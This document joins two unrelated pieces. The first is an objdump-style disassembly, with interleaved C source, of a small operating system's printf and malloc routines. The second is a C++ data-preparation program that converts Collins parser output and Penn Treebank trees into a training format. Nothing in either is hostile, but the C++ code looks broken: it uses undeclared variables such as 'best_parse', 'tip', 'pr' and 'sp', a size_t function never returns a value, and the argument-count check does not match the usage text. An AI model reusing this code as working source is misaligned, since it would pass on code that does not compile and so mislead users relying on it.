39e: 83 c4 10 add $0x10,%esp
}
3a1: 90 nop
3a2: c9 leave
3a3: c3 ret
000003a4 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3a4: 55 push %ebp
3a5: 89 e5 mov %esp,%ebp
3a7: 53 push %ebx
3a8: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3ab: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3b2: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3b6: 74 17 je 3cf <printint+0x2b>
3b8: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3bc: 79 11 jns 3cf <printint+0x2b>
neg = 1;
3be: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3c5: 8b 45 0c mov 0xc(%ebp),%eax
3c8: f7 d8 neg %eax
3ca: 89 45 ec mov %eax,-0x14(%ebp)
3cd: eb 06 jmp 3d5 <printint+0x31>
} else {
x = xx;
3cf: 8b 45 0c mov 0xc(%ebp),%eax
3d2: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3d5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3dc: 8b 4d f4 mov -0xc(%ebp),%ecx
3df: 8d 41 01 lea 0x1(%ecx),%eax
3e2: 89 45 f4 mov %eax,-0xc(%ebp)
3e5: 8b 5d 10 mov 0x10(%ebp),%ebx
3e8: 8b 45 ec mov -0x14(%ebp),%eax
3eb: ba 00 00 00 00 mov $0x0,%edx
3f0: f7 f3 div %ebx
3f2: 89 d0 mov %edx,%eax
3f4: 0f b6 80 78 0a 00 00 movzbl 0xa78(%eax),%eax
3fb: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
3ff: 8b 5d 10 mov 0x10(%ebp),%ebx
402: 8b 45 ec mov -0x14(%ebp),%eax
405: ba 00 00 00 00 mov $0x0,%edx
40a: f7 f3 div %ebx
40c: 89 45 ec mov %eax,-0x14(%ebp)
40f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
413: 75 c7 jne 3dc <printint+0x38>
if(neg)
415: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
419: 74 2d je 448 <printint+0xa4>
buf[i++] = '-';
41b: 8b 45 f4 mov -0xc(%ebp),%eax
41e: 8d 50 01 lea 0x1(%eax),%edx
421: 89 55 f4 mov %edx,-0xc(%ebp)
424: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
429: eb 1d jmp 448 <printint+0xa4>
putc(fd, buf[i]);
42b: 8d 55 dc lea -0x24(%ebp),%edx
42e: 8b 45 f4 mov -0xc(%ebp),%eax
431: 01 d0 add %edx,%eax
433: 0f b6 00 movzbl (%eax),%eax
436: 0f be c0 movsbl %al,%eax
439: 83 ec 08 sub $0x8,%esp
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 3c ff ff ff call 381 <putc>
445: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
448: 83 6d f4 01 subl $0x1,-0xc(%ebp)
44c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
450: 79 d9 jns 42b <printint+0x87>
putc(fd, buf[i]);
}
452: 90 nop
453: 8b 5d fc mov -0x4(%ebp),%ebx
456: c9 leave
457: c3 ret
00000458 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
458: 55 push %ebp
459: 89 e5 mov %esp,%ebp
45b: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
45e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
465: 8d 45 0c lea 0xc(%ebp),%eax
468: 83 c0 04 add $0x4,%eax
46b: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
46e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
475: e9 59 01 00 00 jmp 5d3 <printf+0x17b>
c = fmt[i] & 0xff;
47a: 8b 55 0c mov 0xc(%ebp),%edx
47d: 8b 45 f0 mov -0x10(%ebp),%eax
480: 01 d0 add %edx,%eax
482: 0f b6 00 movzbl (%eax),%eax
485: 0f be c0 movsbl %al,%eax
488: 25 ff 00 00 00 and $0xff,%eax
48d: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
490: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
494: 75 2c jne 4c2 <printf+0x6a>
if(c == '%'){
496: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
49a: 75 0c jne 4a8 <printf+0x50>
state = '%';
49c: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4a3: e9 27 01 00 00 jmp 5cf <printf+0x177>
} else {
putc(fd, c);
4a8: 8b 45 e4 mov -0x1c(%ebp),%eax
4ab: 0f be c0 movsbl %al,%eax
4ae: 83 ec 08 sub $0x8,%esp
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: e8 c7 fe ff ff call 381 <putc>
4ba: 83 c4 10 add $0x10,%esp
4bd: e9 0d 01 00 00 jmp 5cf <printf+0x177>
}
} else if(state == '%'){
4c2: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4c6: 0f 85 03 01 00 00 jne 5cf <printf+0x177>
if(c == 'd'){
4cc: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4d0: 75 1e jne 4f0 <printf+0x98>
printint(fd, *ap, 10, 1);
4d2: 8b 45 e8 mov -0x18(%ebp),%eax
4d5: 8b 00 mov (%eax),%eax
4d7: 6a 01 push $0x1
4d9: 6a 0a push $0xa
4db: 50 push %eax
4dc: ff 75 08 pushl 0x8(%ebp)
4df: e8 c0 fe ff ff call 3a4 <printint>
4e4: 83 c4 10 add $0x10,%esp
ap++;
4e7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4eb: e9 d8 00 00 00 jmp 5c8 <printf+0x170>
} else if(c == 'x' || c == 'p'){
4f0: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
4f4: 74 06 je 4fc <printf+0xa4>
4f6: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
4fa: 75 1e jne 51a <printf+0xc2>
printint(fd, *ap, 16, 0);
4fc: 8b 45 e8 mov -0x18(%ebp),%eax
4ff: 8b 00 mov (%eax),%eax
501: 6a 00 push $0x0
503: 6a 10 push $0x10
505: 50 push %eax
506: ff 75 08 pushl 0x8(%ebp)
509: e8 96 fe ff ff call 3a4 <printint>
50e: 83 c4 10 add $0x10,%esp
ap++;
511: 83 45 e8 04 addl $0x4,-0x18(%ebp)
515: e9 ae 00 00 00 jmp 5c8 <printf+0x170>
} else if(c == 's'){
51a: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
51e: 75 43 jne 563 <printf+0x10b>
s = (char*)*ap;
520: 8b 45 e8 mov -0x18(%ebp),%eax
523: 8b 00 mov (%eax),%eax
525: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
528: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
52c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
530: 75 25 jne 557 <printf+0xff>
s = "(null)";
532: c7 45 f4 22 08 00 00 movl $0x822,-0xc(%ebp)
while(*s != 0){
539: eb 1c jmp 557 <printf+0xff>
putc(fd, *s);
53b: 8b 45 f4 mov -0xc(%ebp),%eax
53e: 0f b6 00 movzbl (%eax),%eax
541: 0f be c0 movsbl %al,%eax
544: 83 ec 08 sub $0x8,%esp
547: 50 push %eax
548: ff 75 08 pushl 0x8(%ebp)
54b: e8 31 fe ff ff call 381 <putc>
550: 83 c4 10 add $0x10,%esp
s++;
553: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
557: 8b 45 f4 mov -0xc(%ebp),%eax
55a: 0f b6 00 movzbl (%eax),%eax
55d: 84 c0 test %al,%al
55f: 75 da jne 53b <printf+0xe3>
561: eb 65 jmp 5c8 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
563: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
567: 75 1d jne 586 <printf+0x12e>
putc(fd, *ap);
569: 8b 45 e8 mov -0x18(%ebp),%eax
56c: 8b 00 mov (%eax),%eax
56e: 0f be c0 movsbl %al,%eax
571: 83 ec 08 sub $0x8,%esp
574: 50 push %eax
575: ff 75 08 pushl 0x8(%ebp)
578: e8 04 fe ff ff call 381 <putc>
57d: 83 c4 10 add $0x10,%esp
ap++;
580: 83 45 e8 04 addl $0x4,-0x18(%ebp)
584: eb 42 jmp 5c8 <printf+0x170>
} else if(c == '%'){
586: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
58a: 75 17 jne 5a3 <printf+0x14b>
putc(fd, c);
58c: 8b 45 e4 mov -0x1c(%ebp),%eax
58f: 0f be c0 movsbl %al,%eax
592: 83 ec 08 sub $0x8,%esp
595: 50 push %eax
596: ff 75 08 pushl 0x8(%ebp)
599: e8 e3 fd ff ff call 381 <putc>
59e: 83 c4 10 add $0x10,%esp
5a1: eb 25 jmp 5c8 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5a3: 83 ec 08 sub $0x8,%esp
5a6: 6a 25 push $0x25
5a8: ff 75 08 pushl 0x8(%ebp)
5ab: e8 d1 fd ff ff call 381 <putc>
5b0: 83 c4 10 add $0x10,%esp
putc(fd, c);
5b3: 8b 45 e4 mov -0x1c(%ebp),%eax
5b6: 0f be c0 movsbl %al,%eax
5b9: 83 ec 08 sub $0x8,%esp
5bc: 50 push %eax
5bd: ff 75 08 pushl 0x8(%ebp)
5c0: e8 bc fd ff ff call 381 <putc>
5c5: 83 c4 10 add $0x10,%esp
}
state = 0;
5c8: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5cf: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5d3: 8b 55 0c mov 0xc(%ebp),%edx
5d6: 8b 45 f0 mov -0x10(%ebp),%eax
5d9: 01 d0 add %edx,%eax
5db: 0f b6 00 movzbl (%eax),%eax
5de: 84 c0 test %al,%al
5e0: 0f 85 94 fe ff ff jne 47a <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
5e6: 90 nop
5e7: c9 leave
5e8: c3 ret
000005e9 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5e9: 55 push %ebp
5ea: 89 e5 mov %esp,%ebp
5ec: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
5ef: 8b 45 08 mov 0x8(%ebp),%eax
5f2: 83 e8 08 sub $0x8,%eax
5f5: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5f8: a1 94 0a 00 00 mov 0xa94,%eax
5fd: 89 45 fc mov %eax,-0x4(%ebp)
600: eb 24 jmp 626 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
602: 8b 45 fc mov -0x4(%ebp),%eax
605: 8b 00 mov (%eax),%eax
607: 3b 45 fc cmp -0x4(%ebp),%eax
60a: 77 12 ja 61e <free+0x35>
60c: 8b 45 f8 mov -0x8(%ebp),%eax
60f: 3b 45 fc cmp -0x4(%ebp),%eax
612: 77 24 ja 638 <free+0x4f>
614: 8b 45 fc mov -0x4(%ebp),%eax
617: 8b 00 mov (%eax),%eax
619: 3b 45 f8 cmp -0x8(%ebp),%eax
61c: 77 1a ja 638 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
61e: 8b 45 fc mov -0x4(%ebp),%eax
621: 8b 00 mov (%eax),%eax
623: 89 45 fc mov %eax,-0x4(%ebp)
626: 8b 45 f8 mov -0x8(%ebp),%eax
629: 3b 45 fc cmp -0x4(%ebp),%eax
62c: 76 d4 jbe 602 <free+0x19>
62e: 8b 45 fc mov -0x4(%ebp),%eax
631: 8b 00 mov (%eax),%eax
633: 3b 45 f8 cmp -0x8(%ebp),%eax
636: 76 ca jbe 602 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
638: 8b 45 f8 mov -0x8(%ebp),%eax
63b: 8b 40 04 mov 0x4(%eax),%eax
63e: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
645: 8b 45 f8 mov -0x8(%ebp),%eax
648: 01 c2 add %eax,%edx
64a: 8b 45 fc mov -0x4(%ebp),%eax
64d: 8b 00 mov (%eax),%eax
64f: 39 c2 cmp %eax,%edx
651: 75 24 jne 677 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
653: 8b 45 f8 mov -0x8(%ebp),%eax
656: 8b 50 04 mov 0x4(%eax),%edx
659: 8b 45 fc mov -0x4(%ebp),%eax
65c: 8b 00 mov (%eax),%eax
65e: 8b 40 04 mov 0x4(%eax),%eax
661: 01 c2 add %eax,%edx
663: 8b 45 f8 mov -0x8(%ebp),%eax
666: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
669: 8b 45 fc mov -0x4(%ebp),%eax
66c: 8b 00 mov (%eax),%eax
66e: 8b 10 mov (%eax),%edx
670: 8b 45 f8 mov -0x8(%ebp),%eax
673: 89 10 mov %edx,(%eax)
675: eb 0a jmp 681 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
677: 8b 45 fc mov -0x4(%ebp),%eax
67a: 8b 10 mov (%eax),%edx
67c: 8b 45 f8 mov -0x8(%ebp),%eax
67f: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
681: 8b 45 fc mov -0x4(%ebp),%eax
684: 8b 40 04 mov 0x4(%eax),%eax
687: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
68e: 8b 45 fc mov -0x4(%ebp),%eax
691: 01 d0 add %edx,%eax
693: 3b 45 f8 cmp -0x8(%ebp),%eax
696: 75 20 jne 6b8 <free+0xcf>
p->s.size += bp->s.size;
698: 8b 45 fc mov -0x4(%ebp),%eax
69b: 8b 50 04 mov 0x4(%eax),%edx
69e: 8b 45 f8 mov -0x8(%ebp),%eax
6a1: 8b 40 04 mov 0x4(%eax),%eax
6a4: 01 c2 add %eax,%edx
6a6: 8b 45 fc mov -0x4(%ebp),%eax
6a9: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6ac: 8b 45 f8 mov -0x8(%ebp),%eax
6af: 8b 10 mov (%eax),%edx
6b1: 8b 45 fc mov -0x4(%ebp),%eax
6b4: 89 10 mov %edx,(%eax)
6b6: eb 08 jmp 6c0 <free+0xd7>
} else
p->s.ptr = bp;
6b8: 8b 45 fc mov -0x4(%ebp),%eax
6bb: 8b 55 f8 mov -0x8(%ebp),%edx
6be: 89 10 mov %edx,(%eax)
freep = p;
6c0: 8b 45 fc mov -0x4(%ebp),%eax
6c3: a3 94 0a 00 00 mov %eax,0xa94
}
6c8: 90 nop
6c9: c9 leave
6ca: c3 ret
000006cb <morecore>:
static Header*
morecore(uint nu)
{
6cb: 55 push %ebp
6cc: 89 e5 mov %esp,%ebp
6ce: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
6d1: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
6d8: 77 07 ja 6e1 <morecore+0x16>
nu = 4096;
6da: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
6e1: 8b 45 08 mov 0x8(%ebp),%eax
6e4: c1 e0 03 shl $0x3,%eax
6e7: 83 ec 0c sub $0xc,%esp
6ea: 50 push %eax
6eb: e8 61 fc ff ff call 351 <sbrk>
6f0: 83 c4 10 add $0x10,%esp
6f3: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
6f6: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
6fa: 75 07 jne 703 <morecore+0x38>
return 0;
6fc: b8 00 00 00 00 mov $0x0,%eax
701: eb 26 jmp 729 <morecore+0x5e>
hp = (Header*)p;
703: 8b 45 f4 mov -0xc(%ebp),%eax
706: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
709: 8b 45 f0 mov -0x10(%ebp),%eax
70c: 8b 55 08 mov 0x8(%ebp),%edx
70f: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
712: 8b 45 f0 mov -0x10(%ebp),%eax
715: 83 c0 08 add $0x8,%eax
718: 83 ec 0c sub $0xc,%esp
71b: 50 push %eax
71c: e8 c8 fe ff ff call 5e9 <free>
721: 83 c4 10 add $0x10,%esp
return freep;
724: a1 94 0a 00 00 mov 0xa94,%eax
}
729: c9 leave
72a: c3 ret
0000072b <malloc>:
void*
malloc(uint nbytes)
{
72b: 55 push %ebp
72c: 89 e5 mov %esp,%ebp
72e: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
731: 8b 45 08 mov 0x8(%ebp),%eax
734: 83 c0 07 add $0x7,%eax
737: c1 e8 03 shr $0x3,%eax
73a: 83 c0 01 add $0x1,%eax
73d: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
740: a1 94 0a 00 00 mov 0xa94,%eax
745: 89 45 f0 mov %eax,-0x10(%ebp)
748: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
74c: 75 23 jne 771 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
74e: c7 45 f0 8c 0a 00 00 movl $0xa8c,-0x10(%ebp)
755: 8b 45 f0 mov -0x10(%ebp),%eax
758: a3 94 0a 00 00 mov %eax,0xa94
75d: a1 94 0a 00 00 mov 0xa94,%eax
762: a3 8c 0a 00 00 mov %eax,0xa8c
base.s.size = 0;
767: c7 05 90 0a 00 00 00 movl $0x0,0xa90
76e: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
771: 8b 45 f0 mov -0x10(%ebp),%eax
774: 8b 00 mov (%eax),%eax
776: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
779: 8b 45 f4 mov -0xc(%ebp),%eax
77c: 8b 40 04 mov 0x4(%eax),%eax
77f: 3b 45 ec cmp -0x14(%ebp),%eax
782: 72 4d jb 7d1 <malloc+0xa6>
if(p->s.size == nunits)
784: 8b 45 f4 mov -0xc(%ebp),%eax
787: 8b 40 04 mov 0x4(%eax),%eax
78a: 3b 45 ec cmp -0x14(%ebp),%eax
78d: 75 0c jne 79b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
78f: 8b 45 f4 mov -0xc(%ebp),%eax
792: 8b 10 mov (%eax),%edx
794: 8b 45 f0 mov -0x10(%ebp),%eax
797: 89 10 mov %edx,(%eax)
799: eb 26 jmp 7c1 <malloc+0x96>
else {
p->s.size -= nunits;
79b: 8b 45 f4 mov -0xc(%ebp),%eax
79e: 8b 40 04 mov 0x4(%eax),%eax
7a1: 2b 45 ec sub -0x14(%ebp),%eax
7a4: 89 c2 mov %eax,%edx
7a6: 8b 45 f4 mov -0xc(%ebp),%eax
7a9: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7ac: 8b 45 f4 mov -0xc(%ebp),%eax
7af: 8b 40 04 mov 0x4(%eax),%eax
7b2: c1 e0 03 shl $0x3,%eax
7b5: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7b8: 8b 45 f4 mov -0xc(%ebp),%eax
7bb: 8b 55 ec mov -0x14(%ebp),%edx
7be: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7c1: 8b 45 f0 mov -0x10(%ebp),%eax
7c4: a3 94 0a 00 00 mov %eax,0xa94
return (void*)(p + 1);
7c9: 8b 45 f4 mov -0xc(%ebp),%eax
7cc: 83 c0 08 add $0x8,%eax
7cf: eb 3b jmp 80c <malloc+0xe1>
}
if(p == freep)
7d1: a1 94 0a 00 00 mov 0xa94,%eax
7d6: 39 45 f4 cmp %eax,-0xc(%ebp)
7d9: 75 1e jne 7f9 <malloc+0xce>
if((p = morecore(nunits)) == 0)
7db: 83 ec 0c sub $0xc,%esp
7de: ff 75 ec pushl -0x14(%ebp)
7e1: e8 e5 fe ff ff call 6cb <morecore>
7e6: 83 c4 10 add $0x10,%esp
7e9: 89 45 f4 mov %eax,-0xc(%ebp)
7ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7f0: 75 07 jne 7f9 <malloc+0xce>
return 0;
7f2: b8 00 00 00 00 mov $0x0,%eax
7f7: eb 13 jmp 80c <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f9: 8b 45 f4 mov -0xc(%ebp),%eax
7fc: 89 45 f0 mov %eax,-0x10(%ebp)
7ff: 8b 45 f4 mov -0xc(%ebp),%eax
802: 8b 00 mov (%eax),%eax
804: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
807: e9 6d ff ff ff jmp 779 <malloc+0x4e>
}
80c: c9 leave
80d: c3 ret
|
// prepare-data2.cc -- converts Michael Collins new file into my training format
//
// Mark Johnson, 8th October 2003
const char usage[] =
"Usage: prepare-data penn-wsj-regex nsentences collins-tree-command collins-score-command\n"
"\n"
"where:\n"
" penn-wsj-regex is a regular expression that expands to the names of\n"
" the Penn WSJ treebank files,\n"
" nsentences is the number of sentences in the data,\n"
" collins-tree-command is a shell expression that writes Collins trees\n"
" to stdout, and\n"
" collins-score-command is a shell expression that writes Collins scores\n"
" to stdout.\n"
"\n"
"The combined data file is written to stdout.\n"
"\n"
"Format of the output data:\n"
"=========================\n"
"\n"
"The first line of the data is:\n"
"\n"
" <NSENTENCES>\n"
"\n"
"which is the number of sentences in the data.\n"
"\n"
"The rest of the data consists of a sequence of blocks, one per\n"
"sentence. Each sentence block begins with a line of the form:\n"
"\n"
" <NPARSES> <GOLDTREE>\n"
"\n"
"where:\n"
"\n"
" <NPARSES> is the number of parses,\n"
" <GOLDTREE> is the treebank tree.\n"
"\n"
"This is followed by <NPARSES> lines, one for each parse, of the form:\n"
"\n"
" <LOGPROB> <PARSETREE>\n"
"\n"
"where:\n"
"\n"
" <LOGPROB> is the log probability of the parse, and\n"
" <PARSETREE> is the parse tree.\n"
"\n"
"The parses are not sorted.\n"
"\n";
#include <cassert>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <utility>
#include <vector>
#include <boost/array.hpp>
#include <boost/lexical_cast.hpp>
#include <ext/hash_map>
#include "symset.h"
#include "tree.h"
#include "utility.h"
typedef ext::hash_map<symbol,size_t> S_C;
typedef std::vector<symbol> Ss;
// tree_terminals() appends the non-empty non-punctuation terminals to terms
//
void tree_terminals(const tree* t, Ss& terms)
{
if (t->child == NULL)
terms.push_back(t->label.cat);
else { // child != NULL
if (!t->label.is_punctuation() && !t->label.is_none())
tree_terminals(t->child, terms);
}
if (t->next != NULL)
tree_terminals(t->next, terms);
} // tree_terminals()
// tree_preterminals() appends the non-empty terminals to terms
//
void tree_preterminals(const tree* t, Ss& preterms)
{
if (t->is_preterminal()) {
if (!t->label.is_punctuation() && !t->label.is_none())
preterms.push_back(t->label.cat);
}
else if (t->is_nonterminal())
tree_preterminals(t->child, preterms);
if (t->next != NULL)
tree_preterminals(t->next, preterms);
} // tree_preterminals()
struct treeinfo {
tree* t;
symbol filename;
size_t treeno;
template <typename S>
treeinfo(tree* t, const S& filename, size_t treeno)
: t(t), filename(filename), treeno(treeno) { }
}; // treeinfo
typedef ext::hash_multimap<Ss,treeinfo> Ss_TIs;
typedef Ss_TIs::const_iterator STIit;
typedef std::pair<STIit,STIit> STIrange;
typedef std::vector<treeinfo*> TIPtrs;
struct penn {
Ss_TIs yield_trees;
TIPtrs treeno_treeinfo;
size_t treeno;
penn() : treeno() { treeno_treeinfo.reserve(40000); }
void operator()(const tree* tp0) {
tree* tp = tp0->copy_without_empties();
Ss yield;
tree_terminals(tp, yield);
const char* fn = rindex(readtree_filename, '/') + 1;
if (fn == NULL)
fn = readtree_filename;
STIit it = yield_trees.insert(Ss_TIs::value_type(yield, treeinfo(tp,fn,treeno++)));
treeno_treeinfo.push_back(&it->second);
assert(treeno == treeno_treeinfo.size());
} // penn::operator()
}; // penn
struct collins_info {
double logprob;
tree* t;
};
typedef ext::hash_map<std::string, collins_info> S_CI;
// npostagcorrect() returns the number of POS tags in the two sentences
// that are the same.
//
size_t npostagcorrect(const tree* t1, const tree* t2) {
Ss pt1s, pt2s;
tree_preterminals(t1, pt1s);
tree_preterminals(t2, pt2s);
if (pt1s.size() != pt2s.size())
std::cerr << "## Error: pt1s.size() = " << pt1s.size()
<< ", pt2s.size() = " << pt2s.size() << '\n'
<< "## t1 = " << t1 << '\n'
<< "## t2 = " << t2 << std::endl;
size_t ncorrect = 0;
for (size_t i = 0; i < pt1s.size(); ++i)
if (pt1s[i] == pt2s[i])
++ncorrect;
return ncorrect;
} // npostagcorrect()
// write_collins_trees() returns the tree
size_t write_collins_trees(const penn& p, S_CI& parse_stats, FILE* of,
int& treeno, bool writeflag = false)
{
assert(!parse_stats.empty());
treeinfo* gold_tip = NULL;
if (treeno < 0) {
// first tree; look it up
Ss yield;
tree* parse = readtree_root(parse_stats.begin()->first.c_str());
parse->terminals(yield);
STIrange r = p.yield_trees.equal_range(yield); // r is the set of gold trees
if (r.first == r.second) {
std::cerr << "## Error: Can't find first parse's yield " << yield
<< "\n## parse = " << best_parse << std::endl;
exit(EXIT_FAILURE);
}
else if (r.second - r.first != 1) {
std::cerr << "## Error: First parse's yield matches " << r.second - r.first << " Penn trees\n"
<< "## yield = " << yield << std::endl;
exit(EXIT_FAILURE);
}
else {
// exactly one gold tree with this yield -- great!!
gold_tip = &r.first->second;
treeno = tip->treeno;
}
}
else {
// not first tree; look up treeinfo based on treeno
++treeno;
assert(treeno < p.treeno_treeinfo.size());
gold_tip = p.treeno_treeinfo[treeno];
}
if (writeflag)
std::cerr << "# " << gold_tip->filename << ':' << gold_tip->treeno << std::endl;
// look up yield in p
Ss gold_yield;
gold_tip->t->terminals(gold_yield);
size_t nparses = 0;
cforeach (S_CI, it, parse_stats) {
const tree* parse = readtree_root(it->first.c_str());
if (parse == NULL) {
std::cerr << "## Couldn't read parse tree from string " << it->first
<< "\n## " << gold_tip->filename << ':' << gold_tip->treeno
<< "\n## " << gold_yield << std::endl;
it->second.t = NULL;
}
else {
Ss yield;
parse->terminals(yield);
if (yield != gold_yield) {
std::cerr << "## Parse's yield differs from gold tree's yield "
<< gold_tip->filename << ':' << gold_tip->treeno
<< "\n## parse yield " << yield
<< "\n## gold yield " << gold_yield
<< std::endl;
delete parse;
it->second.t = NULL;
}
else {
// Got a matching parse
++nparses;
it->second.t = parse;
}
}
}
// write out gold parse info
fprintf(of, "%d %s\n", nparses,
boost::lexical_cast<std::string>(gold_tip->t).c_str());
cforeach (S_CI, it, parse_stats)
if (it->second.t != NULL) {
fprintf(of, "%g %s\n", it->second.logprob,
boost::lexical_cast<std::string>(it->second.t).c_str());
delete it->second.t;
}
} // write_collins_trees()
int transform_collins(const penn& p, const char tree_command[], FILE* of)
{
FILE* tp = popen(tree_command, "r");
assert(tp != NULL);
S_CI parse_stats;
int old_parse_id = -1;
int lineno = 0;
int nsentences = 0;
int treeno = -1; // indicates no tree found yet
while(true) {
int parse_id, rank, edge, score_id, parsenum, score_rank, best;
double logprob, score, normscore, score_logprob, condprob;
int nread_parse = fscanf(tp, " ID %d PROB %lf RANK %d EDGE %d ",
&parse_id, &logprob, &rank, &edge);
++lineno;
if (nread_parse == EOF) {
++nsentences;
write_collins_trees(p, parse_stats, of, treeno, true);
std::cerr << "# Oracle " << pr << std::endl;
break;
}
assert(nread_parse == 4);
if (old_parse_id != parse_id) {
if (old_parse_id != -1) {
++nsentences;
write_collins_trees(p, parse_stats, of, treeno, nsentences==1);
parse_stats.clear();
}
old_parse_id = parse_id;
}
{
char cparse[1024];
char* cp = fgets(cparse, 1024, tp);
assert(cp != NULL);
assert(cparse[0] != '\0');
for (int i = strlen(cparse)-1; i >= 0 && isspace(cparse[i]); --i)
cparse[i] = '\0'; // replace final space with '\0'
assert(strncmp(cparse, "(TOP ", 5) == 0);
cparse[4] = '(';
std::string parse(cparse+4);
if (parse_stats.count(parse) == 0
|| parse_stats[parse].logprob < logprob) {
collins_info& ci = parse_stats[parse];
ci.logprob = logprob;
}
}
}
pclose(tp);
pclose(sp);
return nsentences;
} // transform_collins()
int main(int argc, char* argv[])
{
std::ios::sync_with_stdio(false);
if (argc != 4) {
std::cerr << usage << std::endl;
exit(EXIT_FAILURE);
}
penn p;
map_regex_trees(argv[1], p);
std::cerr << "# Read " << p.yield_trees.size()
<< " penn trees." << std::endl;
char* endptr = NULL;
int nsentences0 = strtol(argv[2], &endptr, 10);
if (endptr == NULL || *endptr != '\0') {
std::cerr << "## Error: expected an integer as second argument, but got "
<< argv[2] << std::endl;
exit(EXIT_FAILURE);
}
